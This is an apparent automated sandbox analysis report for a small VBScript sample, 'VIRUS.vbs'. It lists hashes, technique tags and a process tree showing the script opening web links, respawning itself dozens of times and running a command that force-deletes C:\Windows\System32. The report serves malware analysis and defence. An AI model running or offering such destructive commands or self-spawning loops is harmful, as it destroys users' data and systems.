d0fd173646263c00dcf935a43f0093daf6efe5264f5a998f45c3ab75b58f96bd

Analysis

user interaction
yes
max time kernel
1s
max time network
29s
platform
windows11-21h2_x64
resource
win11-20260130-en
resource tags

arch:x64arch:x86image:win11-20260130-enlocale:en-usos:windows11-21h2-x64systemwindows
submitted
08/05/2026, 10:51

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
VIRUS.vbs
Size 1KB
Sample260508-mx91msbs4m
SHA256 d0fd173646263c00dcf935a43f0093daf6efe5264f5a998f45c3ab75b58f96bd
MD5 3cc18ae8873b0c0eb3d5770fa8e28ce9
SHA1 96fcdee1e71937f088a288a6b078dfb432aa14b9
SHA512 10f23106d9357dc2e573132aa65711205433e73893797631b7503718041328f545f8728f22bf0407cd98885f8eefb03fbe7e2df03e33569559dca839b656aa0f
TLSH
T1C52117EBFC5FCC1A47F780635572580DEBC152675001CC35F24C8D194F763125AE5669
MD5 SHA1 SHA512 TLSH

Score

6^/10

discovery

Malware Config

Signatures

Contacts third-party web service commonly abused for C2 1 TTPs 2 IoCs

Legitimate web (hosting) services can be abused by malware authors to host malware or C2s.

Web Service

T1102

flow	ioc
106	discord.com
107	discord.com

Drops file in Windows directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\SystemTemp	msedge.exe

Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Time Discovery 1 TTPs 1 IoCs

Adversary may gather the system time and/or time zone settings from a local or remote system.

discovery

System Time Discovery

T1124

pid	Process
3064	msedge.exe

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	msedge.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	msedge.exe

Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 7 IoCs

pid	Process
3832	msedge.exe
3832	msedge.exe
3832	msedge.exe
3832	msedge.exe
3832	msedge.exe
3832	msedge.exe
3832	msedge.exe

Suspicious use of FindShellTrayWindow 2 IoCs

pid	Process
3832	msedge.exe
3832	msedge.exe

Suspicious use of WriteProcessMemory 30 IoCs

description	pid	Process	procid_target
PID 3232 wrote to memory of 3832	3232	WScript.exe	80
PID 3232 wrote to memory of 3964	3232	WScript.exe	81
PID 3832 wrote to memory of 4736	3832	msedge.exe	82
PID 3832 wrote to memory of 3064	3832	msedge.exe	83
PID 3832 wrote to memory of 4452	3832	msedge.exe	84
PID 3832 wrote to memory of 4452	3832	msedge.exe	84
PID 3832 wrote to memory of 4452	3832	msedge.exe	84
PID 3832 wrote to memory of 4524	3832	msedge.exe	85
PID 3832 wrote to memory of 4524	3832	msedge.exe	85
PID 3832 wrote to memory of 3956	3832	msedge.exe	87
PID 3832 wrote to memory of 3956	3832	msedge.exe	87
PID 3832 wrote to memory of 3956	3832	msedge.exe	87
PID 3832 wrote to memory of 3748	3832	msedge.exe	88
PID 3832 wrote to memory of 3748	3832	msedge.exe	88
PID 3832 wrote to memory of 3748	3832	msedge.exe	88
PID 3832 wrote to memory of 4556	3832	msedge.exe	149
PID 3832 wrote to memory of 4556	3832	msedge.exe	149
PID 3832 wrote to memory of 4556	3832	msedge.exe	149
PID 3832 wrote to memory of 4008	3832	msedge.exe	91
PID 3832 wrote to memory of 904	3832	msedge.exe	92
PID 3832 wrote to memory of 4008	3832	msedge.exe	91
PID 3832 wrote to memory of 4008	3832	msedge.exe	91
PID 3832 wrote to memory of 904	3832	msedge.exe	92
PID 3832 wrote to memory of 4852	3832	msedge.exe	93
PID 3832 wrote to memory of 904	3832	msedge.exe	92
PID 3832 wrote to memory of 4852	3832	msedge.exe	93
PID 3832 wrote to memory of 4852	3832	msedge.exe	93
PID 3832 wrote to memory of 3432	3832	msedge.exe	94
PID 3832 wrote to memory of 3432	3832	msedge.exe	94
PID 3832 wrote to memory of 3432	3832	msedge.exe	94

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\VIRUS.vbs"
1⤵
- Suspicious use of WriteProcessMemory
PID:3232
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://www.youtube.com/watch?v=dQw4w9WgXcQ
  2⤵
  - Drops file in Windows directory
  - Enumerates system info in registry
  - Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
  - Suspicious use of FindShellTrayWindow
  - Suspicious use of WriteProcessMemory
  PID:3832
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=139.0.7258.155 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 --annotation=prod=Edge --annotation=ver=139.0.3405.125 --initial-client-data=0x2e0,0x2e4,0x2e8,0x2dc,0x368,0x7ffef2aec188,0x7ffef2aec194,0x7ffef2aec1a0
    3⤵
    PID:4736
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-pre-read-main-dll --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=1860,i,11048506000797054311,9696591113935223196,524288 --field-trial-handle=2204,i,6876675558674182968,7790936277037304977,262144 --variations-seed-version --mojo-platform-channel-handle=2244 /prefetch:11
    3⤵
    - System Time Discovery
    PID:3064
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --no-pre-read-main-dll --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAQAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --always-read-main-dll --metrics-shmem-handle=1560,i,8763670425090209738,14151518811821392369,262144 --field-trial-handle=2204,i,6876675558674182968,7790936277037304977,262144 --variations-seed-version --mojo-platform-channel-handle=2200 /prefetch:2
    3⤵
    PID:4452
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=2508,i,11804567427699250845,1426242796854462252,524288 --field-trial-handle=2204,i,6876675558674182968,7790936277037304977,262144 --variations-seed-version --mojo-platform-channel-handle=2572 /prefetch:13
    3⤵
    PID:4524
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --always-read-main-dll --metrics-shmem-handle=3540,i,17966135288112205371,7876736144066283979,2097152 --field-trial-handle=2204,i,6876675558674182968,7790936277037304977,262144 --variations-seed-version --mojo-platform-channel-handle=3576 /prefetch:1
    3⤵
    PID:3956
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --always-read-main-dll --metrics-shmem-handle=3560,i,2611385685590899132,7083406705502794218,2097152 --field-trial-handle=2204,i,6876675558674182968,7790936277037304977,262144 --variations-seed-version --mojo-platform-channel-handle=3584 /prefetch:1
    3⤵
    PID:3748
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --always-read-main-dll --metrics-shmem-handle=4164,i,12704003852038895513,11749095741369360011,2097152 --field-trial-handle=2204,i,6876675558674182968,7790936277037304977,262144 --variations-seed-version --mojo-platform-channel-handle=4180 /prefetch:1
    3⤵
    PID:4556
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --extension-process --renderer-sub-type=extension --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --always-read-main-dll --metrics-shmem-handle=4192,i,3212667943837025470,11941015971810566107,2097152 --field-trial-handle=2204,i,6876675558674182968,7790936277037304977,262144 --variations-seed-version --mojo-platform-channel-handle=4208 /prefetch:9
    3⤵
    PID:4008
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=9 --always-read-main-dll --metrics-shmem-handle=4264,i,1789439158738021469,5677637949038394763,2097152 --field-trial-handle=2204,i,6876675558674182968,7790936277037304977,262144 --variations-seed-version --mojo-platform-channel-handle=3512 /prefetch:1
    3⤵
    PID:904
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --extension-process --renderer-sub-type=extension --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=10 --always-read-main-dll --metrics-shmem-handle=4216,i,4031402507253295489,10279869923881377583,2097152 --field-trial-handle=2204,i,6876675558674182968,7790936277037304977,262144 --variations-seed-version --mojo-platform-channel-handle=4288 /prefetch:9
    3⤵
    PID:4852
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=11 --always-read-main-dll --metrics-shmem-handle=4536,i,3817146293832134799,8335289678632061168,2097152 --field-trial-handle=2204,i,6876675558674182968,7790936277037304977,262144 --variations-seed-version --mojo-platform-channel-handle=4688 /prefetch:1
    3⤵
    PID:3432
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=PooledProcess2 --lang=en-US --service-sandbox-type=utility --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=3728,i,11128053716926369651,16039117618452236627,524288 --field-trial-handle=2204,i,6876675558674182968,7790936277037304977,262144 --variations-seed-version --mojo-platform-channel-handle=5604 /prefetch:14
    3⤵
    PID:2404
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=14 --always-read-main-dll --metrics-shmem-handle=5772,i,950018965488114196,10623665112647922746,2097152 --field-trial-handle=2204,i,6876675558674182968,7790936277037304977,262144 --variations-seed-version --mojo-platform-channel-handle=3688 /prefetch:1
    3⤵
    PID:1460
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=15 --always-read-main-dll --metrics-shmem-handle=4368,i,3075341124862088520,16096348678040990391,2097152 --field-trial-handle=2204,i,6876675558674182968,7790936277037304977,262144 --variations-seed-version --mojo-platform-channel-handle=5812 /prefetch:1
    3⤵
    PID:3328
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=16 --always-read-main-dll --metrics-shmem-handle=5964,i,16354459025162860643,5269710270445412392,2097152 --field-trial-handle=2204,i,6876675558674182968,7790936277037304977,262144 --variations-seed-version --mojo-platform-channel-handle=5984 /prefetch:1
    3⤵
    PID:4808
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6056,i,9581357541961105823,4500462408351809972,524288 --field-trial-handle=2204,i,6876675558674182968,7790936277037304977,262144 --variations-seed-version --mojo-platform-channel-handle=6068 /prefetch:14
    3⤵
    PID:3680
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-US --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6060,i,16254636465232317160,12400984518710209321,524288 --field-trial-handle=2204,i,6876675558674182968,7790936277037304977,262144 --variations-seed-version --mojo-platform-channel-handle=6092 /prefetch:14
    3⤵
    PID:3968
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=audio.mojom.AudioService --lang=en-US --service-sandbox-type=audio --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6508,i,13729013279126978203,18017560270932863572,524288 --field-trial-handle=2204,i,6876675558674182968,7790936277037304977,262144 --variations-seed-version --mojo-platform-channel-handle=6516 /prefetch:12
    3⤵
    PID:4328
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=video_capture.mojom.VideoCaptureService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=3420,i,1201908793437300690,6207289303848317347,524288 --field-trial-handle=2204,i,6876675558674182968,7790936277037304977,262144 --variations-seed-version --mojo-platform-channel-handle=6744 /prefetch:14
    3⤵
    PID:1760
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=PooledProcess2 --lang=en-US --service-sandbox-type=utility --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=7024,i,7751569237592234174,1053764803248601139,524288 --field-trial-handle=2204,i,6876675558674182968,7790936277037304977,262144 --variations-seed-version --mojo-platform-channel-handle=6844 /prefetch:14
    3⤵
    PID:6064
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://yip.su/2eD8E6.mp4
  2⤵
  PID:3964
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c echo Y | del /f C:\Windows\System32
  2⤵
  PID:3972
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /S /D /c" echo Y "
    3⤵
    PID:656
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /S /D /c" del /f C:\Windows\System32"
    3⤵
    PID:4556
- C:\Windows\System32\wscript.exe
  "C:\Windows\System32\wscript.exe" "C:\Users\Admin\AppData\Local\Temp\VIRUS.vbs" 1
  2⤵
  PID:4336
- C:\Windows\System32\wscript.exe
  "C:\Windows\System32\wscript.exe" "C:\Users\Admin\AppData\Local\Temp\VIRUS.vbs" 2
  2⤵
  PID:652
- C:\Windows\System32\wscript.exe
  "C:\Windows\System32\wscript.exe" "C:\Users\Admin\AppData\Local\Temp\VIRUS.vbs" 3
  2⤵
  PID:4032
- C:\Windows\System32\wscript.exe
  "C:\Windows\System32\wscript.exe" "C:\Users\Admin\AppData\Local\Temp\VIRUS.vbs" 4
  2⤵
  PID:5100
- C:\Windows\System32\wscript.exe
  "C:\Windows\System32\wscript.exe" "C:\Users\Admin\AppData\Local\Temp\VIRUS.vbs" 5
  2⤵
  PID:3752
- C:\Windows\System32\wscript.exe
  "C:\Windows\System32\wscript.exe" "C:\Users\Admin\AppData\Local\Temp\VIRUS.vbs" 6
  2⤵
  PID:1456
- C:\Windows\System32\wscript.exe
  "C:\Windows\System32\wscript.exe" "C:\Users\Admin\AppData\Local\Temp\VIRUS.vbs" 7
  2⤵
  PID:5016
- C:\Windows\System32\wscript.exe
  "C:\Windows\System32\wscript.exe" "C:\Users\Admin\AppData\Local\Temp\VIRUS.vbs" 8
  2⤵
  PID:2492
- C:\Windows\System32\wscript.exe
  "C:\Windows\System32\wscript.exe" "C:\Users\Admin\AppData\Local\Temp\VIRUS.vbs" 9
  2⤵
  PID:5088
- C:\Windows\System32\wscript.exe
  "C:\Windows\System32\wscript.exe" "C:\Users\Admin\AppData\Local\Temp\VIRUS.vbs" 10
  2⤵
  PID:1612
- C:\Windows\System32\wscript.exe
  "C:\Windows\System32\wscript.exe" "C:\Users\Admin\AppData\Local\Temp\VIRUS.vbs" 11
  2⤵
  PID:1652
- C:\Windows\System32\wscript.exe
  "C:\Windows\System32\wscript.exe" "C:\Users\Admin\AppData\Local\Temp\VIRUS.vbs" 12
  2⤵
  PID:5148
- C:\Windows\System32\wscript.exe
  "C:\Windows\System32\wscript.exe" "C:\Users\Admin\AppData\Local\Temp\VIRUS.vbs" 13
  2⤵
  PID:5188
- C:\Windows\System32\wscript.exe
  "C:\Windows\System32\wscript.exe" "C:\Users\Admin\AppData\Local\Temp\VIRUS.vbs" 14
  2⤵
  PID:5216
- C:\Windows\System32\wscript.exe
  "C:\Windows\System32\wscript.exe" "C:\Users\Admin\AppData\Local\Temp\VIRUS.vbs" 15
  2⤵
  PID:5256
- C:\Windows\System32\wscript.exe
  "C:\Windows\System32\wscript.exe" "C:\Users\Admin\AppData\Local\Temp\VIRUS.vbs" 16
  2⤵
  PID:5296
- C:\Windows\System32\wscript.exe
  "C:\Windows\System32\wscript.exe" "C:\Users\Admin\AppData\Local\Temp\VIRUS.vbs" 17
  2⤵
  PID:5328
- C:\Windows\System32\wscript.exe
  "C:\Windows\System32\wscript.exe" "C:\Users\Admin\AppData\Local\Temp\VIRUS.vbs" 18
  2⤵
  PID:5364
- C:\Windows\System32\wscript.exe
  "C:\Windows\System32\wscript.exe" "C:\Users\Admin\AppData\Local\Temp\VIRUS.vbs" 19
  2⤵
  PID:5392
- C:\Windows\System32\wscript.exe
  "C:\Windows\System32\wscript.exe" "C:\Users\Admin\AppData\Local\Temp\VIRUS.vbs" 20
  2⤵
  PID:5444
- C:\Windows\System32\wscript.exe
  "C:\Windows\System32\wscript.exe" "C:\Users\Admin\AppData\Local\Temp\VIRUS.vbs" 21
  2⤵
  PID:5480
- C:\Windows\System32\wscript.exe
  "C:\Windows\System32\wscript.exe" "C:\Users\Admin\AppData\Local\Temp\VIRUS.vbs" 22
  2⤵
  PID:5512
- C:\Windows\System32\wscript.exe
  "C:\Windows\System32\wscript.exe" "C:\Users\Admin\AppData\Local\Temp\VIRUS.vbs" 23
  2⤵
  PID:5556
- C:\Windows\System32\wscript.exe
  "C:\Windows\System32\wscript.exe" "C:\Users\Admin\AppData\Local\Temp\VIRUS.vbs" 24
  2⤵
  PID:5588
- C:\Windows\System32\wscript.exe
  "C:\Windows\System32\wscript.exe" "C:\Users\Admin\AppData\Local\Temp\VIRUS.vbs" 25
  2⤵
  PID:5640
- C:\Windows\System32\wscript.exe
  "C:\Windows\System32\wscript.exe" "C:\Users\Admin\AppData\Local\Temp\VIRUS.vbs" 26
  2⤵
  PID:5672
- C:\Windows\System32\wscript.exe
  "C:\Windows\System32\wscript.exe" "C:\Users\Admin\AppData\Local\Temp\VIRUS.vbs" 27
  2⤵
  PID:5704
- C:\Windows\System32\wscript.exe
  "C:\Windows\System32\wscript.exe" "C:\Users\Admin\AppData\Local\Temp\VIRUS.vbs" 28
  2⤵
  PID:5744
- C:\Windows\System32\wscript.exe
  "C:\Windows\System32\wscript.exe" "C:\Users\Admin\AppData\Local\Temp\VIRUS.vbs" 29
  2⤵
  PID:5776
- C:\Windows\System32\wscript.exe
  "C:\Windows\System32\wscript.exe" "C:\Users\Admin\AppData\Local\Temp\VIRUS.vbs" 30
  2⤵
  PID:5812
- C:\Windows\System32\wscript.exe
  "C:\Windows\System32\wscript.exe" "C:\Users\Admin\AppData\Local\Temp\VIRUS.vbs" 31
  2⤵
  PID:5848
- C:\Windows\System32\wscript.exe
  "C:\Windows\System32\wscript.exe" "C:\Users\Admin\AppData\Local\Temp\VIRUS.vbs" 32
  2⤵
  PID:5884
- C:\Windows\System32\wscript.exe
  "C:\Windows\System32\wscript.exe" "C:\Users\Admin\AppData\Local\Temp\VIRUS.vbs" 33
  2⤵
  PID:5916
- C:\Windows\System32\wscript.exe
  "C:\Windows\System32\wscript.exe" "C:\Users\Admin\AppData\Local\Temp\VIRUS.vbs" 34
  2⤵
  PID:5960
- C:\Windows\System32\wscript.exe
  "C:\Windows\System32\wscript.exe" "C:\Users\Admin\AppData\Local\Temp\VIRUS.vbs" 35
  2⤵
  PID:5992
- C:\Windows\System32\wscript.exe
  "C:\Windows\System32\wscript.exe" "C:\Users\Admin\AppData\Local\Temp\VIRUS.vbs" 36
  2⤵
  PID:6032
- C:\Windows\System32\wscript.exe
  "C:\Windows\System32\wscript.exe" "C:\Users\Admin\AppData\Local\Temp\VIRUS.vbs" 37
  2⤵
  PID:6080
- C:\Windows\System32\wscript.exe
  "C:\Windows\System32\wscript.exe" "C:\Users\Admin\AppData\Local\Temp\VIRUS.vbs" 38
  2⤵
  PID:6140
- C:\Windows\System32\wscript.exe
  "C:\Windows\System32\wscript.exe" "C:\Users\Admin\AppData\Local\Temp\VIRUS.vbs" 39
  2⤵
  PID:5460
- C:\Windows\System32\wscript.exe
  "C:\Windows\System32\wscript.exe" "C:\Users\Admin\AppData\Local\Temp\VIRUS.vbs" 40
  2⤵
  PID:5784
- C:\Windows\System32\wscript.exe
  "C:\Windows\System32\wscript.exe" "C:\Users\Admin\AppData\Local\Temp\VIRUS.vbs" 41
  2⤵
  PID:4556
- C:\Windows\System32\wscript.exe
  "C:\Windows\System32\wscript.exe" "C:\Users\Admin\AppData\Local\Temp\VIRUS.vbs" 42
  2⤵
  PID:5156
- C:\Windows\System32\wscript.exe
  "C:\Windows\System32\wscript.exe" "C:\Users\Admin\AppData\Local\Temp\VIRUS.vbs" 43
  2⤵
  PID:6160
- C:\Windows\System32\wscript.exe
  "C:\Windows\System32\wscript.exe" "C:\Users\Admin\AppData\Local\Temp\VIRUS.vbs" 44
  2⤵
  PID:6196
- C:\Windows\System32\wscript.exe
  "C:\Windows\System32\wscript.exe" "C:\Users\Admin\AppData\Local\Temp\VIRUS.vbs" 45
  2⤵
  PID:6304
- C:\Windows\System32\wscript.exe
  "C:\Windows\System32\wscript.exe" "C:\Users\Admin\AppData\Local\Temp\VIRUS.vbs" 46
  2⤵
  PID:6328
- C:\Windows\System32\wscript.exe
  "C:\Windows\System32\wscript.exe" "C:\Users\Admin\AppData\Local\Temp\VIRUS.vbs" 47
  2⤵
  PID:6376
- C:\Windows\System32\wscript.exe
  "C:\Windows\System32\wscript.exe" "C:\Users\Admin\AppData\Local\Temp\VIRUS.vbs" 48
  2⤵
  PID:6404
- C:\Windows\System32\wscript.exe
  "C:\Windows\System32\wscript.exe" "C:\Users\Admin\AppData\Local\Temp\VIRUS.vbs" 49
  2⤵
  PID:6452
- C:\Windows\System32\wscript.exe
  "C:\Windows\System32\wscript.exe" "C:\Users\Admin\AppData\Local\Temp\VIRUS.vbs" 50
  2⤵
  PID:6484
- C:\Windows\System32\wscript.exe
  "C:\Windows\System32\wscript.exe" "C:\Users\Admin\AppData\Local\Temp\VIRUS.vbs" 51
  2⤵
  PID:6524
- C:\Windows\System32\wscript.exe
  "C:\Windows\System32\wscript.exe" "C:\Users\Admin\AppData\Local\Temp\VIRUS.vbs" 52
  2⤵
  PID:6560
- C:\Windows\System32\wscript.exe
  "C:\Windows\System32\wscript.exe" "C:\Users\Admin\AppData\Local\Temp\VIRUS.vbs" 53
  2⤵
  PID:6596
- C:\Windows\System32\wscript.exe
  "C:\Windows\System32\wscript.exe" "C:\Users\Admin\AppData\Local\Temp\VIRUS.vbs" 54
  2⤵
  PID:6632
- C:\Windows\System32\wscript.exe
  "C:\Windows\System32\wscript.exe" "C:\Users\Admin\AppData\Local\Temp\VIRUS.vbs" 55
  2⤵
  PID:6664
- C:\Windows\System32\wscript.exe
  "C:\Windows\System32\wscript.exe" "C:\Users\Admin\AppData\Local\Temp\VIRUS.vbs" 56
  2⤵
  PID:6716
- C:\Windows\System32\wscript.exe
  "C:\Windows\System32\wscript.exe" "C:\Users\Admin\AppData\Local\Temp\VIRUS.vbs" 57
  2⤵
  PID:6736
- C:\Windows\System32\wscript.exe
  "C:\Windows\System32\wscript.exe" "C:\Users\Admin\AppData\Local\Temp\VIRUS.vbs" 58
  2⤵
  PID:6776
- C:\Windows\System32\wscript.exe
  "C:\Windows\System32\wscript.exe" "C:\Users\Admin\AppData\Local\Temp\VIRUS.vbs" 59
  2⤵
  PID:6812
- C:\Windows\System32\wscript.exe
  "C:\Windows\System32\wscript.exe" "C:\Users\Admin\AppData\Local\Temp\VIRUS.vbs" 60
  2⤵
  PID:6844
- C:\Windows\System32\wscript.exe
  "C:\Windows\System32\wscript.exe" "C:\Users\Admin\AppData\Local\Temp\VIRUS.vbs" 61
  2⤵
  PID:6868
- C:\Windows\System32\wscript.exe
  "C:\Windows\System32\wscript.exe" "C:\Users\Admin\AppData\Local\Temp\VIRUS.vbs" 62
  2⤵
  PID:6916
- C:\Windows\System32\wscript.exe
  "C:\Windows\System32\wscript.exe" "C:\Users\Admin\AppData\Local\Temp\VIRUS.vbs" 63
  2⤵
  PID:6952
- C:\Windows\System32\wscript.exe
  "C:\Windows\System32\wscript.exe" "C:\Users\Admin\AppData\Local\Temp\VIRUS.vbs" 64
  2⤵
  PID:7084
- C:\Windows\System32\wscript.exe
  "C:\Windows\System32\wscript.exe" "C:\Users\Admin\AppData\Local\Temp\VIRUS.vbs" 65
  2⤵
  PID:7120
- C:\Windows\System32\wscript.exe
  "C:\Windows\System32\wscript.exe" "C:\Users\Admin\AppData\Local\Temp\VIRUS.vbs" 66
  2⤵
  PID:7156
- C:\Windows\System32\wscript.exe
  "C:\Windows\System32\wscript.exe" "C:\Users\Admin\AppData\Local\Temp\VIRUS.vbs" 67
  2⤵
  PID:4756
- C:\Windows\System32\wscript.exe
  "C:\Windows\System32\wscript.exe" "C:\Users\Admin\AppData\Local\Temp\VIRUS.vbs" 68
  2⤵
  PID:6248
- C:\Windows\System32\wscript.exe
  "C:\Windows\System32\wscript.exe" "C:\Users\Admin\AppData\Local\Temp\VIRUS.vbs" 69
  2⤵
  PID:6240
- C:\Windows\System32\wscript.exe
  "C:\Windows\System32\wscript.exe" "C:\Users\Admin\AppData\Local\Temp\VIRUS.vbs" 70
  2⤵
  PID:6276
- C:\Windows\System32\wscript.exe
  "C:\Windows\System32\wscript.exe" "C:\Users\Admin\AppData\Local\Temp\VIRUS.vbs" 71
  2⤵
  PID:6532
- C:\Windows\System32\wscript.exe
  "C:\Windows\System32\wscript.exe" "C:\Users\Admin\AppData\Local\Temp\VIRUS.vbs" 72
  2⤵
  PID:6820
- C:\Windows\System32\wscript.exe
  "C:\Windows\System32\wscript.exe" "C:\Users\Admin\AppData\Local\Temp\VIRUS.vbs" 73
  2⤵
  PID:6984
- C:\Windows\System32\wscript.exe
